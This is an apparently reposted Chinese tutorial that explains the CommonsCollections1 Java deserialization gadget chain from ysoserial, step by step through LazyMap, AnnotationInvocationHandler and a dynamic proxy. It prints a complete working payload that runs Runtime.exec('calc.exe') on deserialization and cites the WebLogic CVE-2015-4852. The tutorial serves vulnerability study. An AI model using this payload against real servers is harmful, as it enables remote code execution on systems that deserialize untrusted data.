前言

前边已经调试过Java反序列化工具ysoserial的URLDNS链,接下来看看CC链,在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链,而是用了LazyMap的get方法

CommonsCollections1

调用链:

/*
	Gadget chain:
		ObjectInputStream.readObject()
			AnnotationInvocationHandler.readObject()
				Map(Proxy).entrySet()
					AnnotationInvocationHandler.invoke()
						LazyMap.get()
							ChainedTransformer.transform()
								ConstantTransformer.transform()
								InvokerTransformer.transform()
									Method.invoke()
										Class.getMethod()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.getRuntime()
								InvokerTransformer.transform()
									Method.invoke()
										Runtime.exec()

	Requires:
		commons-collections
 */

调用链入口

这条链的入口还是AnnotationInvocationHandler的readObject。

image-20210520151513467

LazyMap

我们需要寻找在LazyMap中能执行ChainedTransformer#transform方法。

LazyMap执行transform方法的地方在其get方法中。

当执行get()方法时,如果键值不存在,将使用工厂factory.transform创建一个值

image-20210629141520558

这里factory变量是从decorate方法中传入

image-20210629141803115

所以构造payload

//创建一个HashMap
HashMap hashMap = new HashMap();
//传入chain
Map lazymap = LazyMap.decorate(hashMap, chain);

此时我们要找的就是哪里能调用到LazyMap#get方法了

在AnnotationInvocationHandler的invoke方法中,this.memberValues.get调用到了get

image-20210629170224032

this.memberValues是通过AnnotationInvocationHandler构造方法传入

image-20210629170353290

所以通过AnnotationInvocationHandler的invoke方法可以调用到LazyMap#get方法,可是想想怎么调用到invoke呢。

我们来仔细看看AnnotationInvocationHandler类

image-20210629170608049

这个类其实就是一个InvocationHandler,想想JDK动态代理

Person proxyStudent = (Person) Proxy.newProxyInstance(Student.class.getClassLoader(), Student.class.getInterfaces(), proxyHandler);

第一个参数是:被代理对象的ClassLoader。第二个是被代理对象的接口。第三个是创建的InvocationHandler对象

LazyMap传入AnnotationInvocationHandler,再生成AnnotationInvocationHandler的proxy对象。此时proxy对象调用任何方法,都会通过其对应的InvocationHandler中的invoke方法,也就是AnnotationInvocationHandler中的invoke方法。

上面几句话可能有点绕,可以先复习下之前所说过的动态代理的知识再回来看:https://www.cnblogs.com/yyhuni/p/14934747.html

根据上面构造payload:#

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//向上转型成InvocationHandler才可以在下一步传入Proxy.newProxyInstance
InvocationHandler invocationAnno = (InvocationHandler) constructor.newInstance(Override.class, lazymap); 
//创建proxy
Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationAnno);  

两个注意点:

1.AnnotationInvocationHandler构造方法是包权限,不能直接new,要用反射来创建

2.创建的AnnotationInvocationHandler对象要向上转型成InvocationHandler,才可以在下一步传入Proxy.newProxyInstance

3.生成的proxy对象要转型成Map

关于第三点,其实是为了在下一步构造的时候进行参数传递的匹配,往下看就知道原因了

有了proxy对象了,最后一步就是怎么调用到proxy对象的方法。

在调用链的入口处AnnotationInvocationHandler#readObject

image-20210629172748544

这里调用了this.memberValues的方法,而this.memberValues是通过构造函数传入进来的,所以我们可以把proxy传入AnnotationInvocationHandler,这时候触发了readObject就会触发到proxy的方法了。很巧妙的构造

Object Annotation =  constructor.newInstance(Override.class, proxyAnno);

最终payload:

		//构造反射链
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
            new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
            new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
        };
        ChainedTransformer chain = new ChainedTransformer(transformers);
        //创建一个HashMap
        HashMap hashMap = new HashMap();
        //传入chain
        Map lazymap = LazyMap.decorate(hashMap, chain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
		//构造InvocationHandler传入lazymap
        InvocationHandler invocationAnno = (InvocationHandler) constructor.newInstance(Override.class, lazymap); 
        //创建proxy
        Map proxyAnno = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), LazyMap.class.getInterfaces(), invocationAnno);
		//创建AnnotationInvocationHandler对象,传入proxyAnno
        Object Annotation =  constructor.newInstance(Override.class, proxyAnno);

        // 序列化
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(Annotation);
        oos.flush();
        oos.close();

        // 本地模拟反序列化
        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);
        Object obj = (Object) ois.readObject();

简单画了下利用链的流程图

image-20210521231544116

相关漏洞:

WebLogic反序列化漏洞:CVE-2015-4852

原文地址:http://www.cnblogs.com/gk0d/p/16858737.html

1. 本站所有资源来源于用户上传和网络,如有侵权请邮件联系站长! 2. 分享目的仅供大家学习和交流,请务用于商业用途! 3. 如果你也有好源码或者教程,可以到用户中心发布,分享有积分奖励和额外收入! 4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解! 5. 如有链接无法下载、失效或广告,请联系管理员处理! 6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需! 7. 如遇到加密压缩包,默认解压密码为"gltf",如遇到无法解压的请联系管理员! 8. 因为资源和程序源码均为可复制品,所以不支持任何理由的退款兑现,请斟酌后支付下载 声明:如果标题没有注明"已测试"或者"测试可用"等字样的资源源码均未经过站长测试.特别注意没有标注的源码不保证任何可用性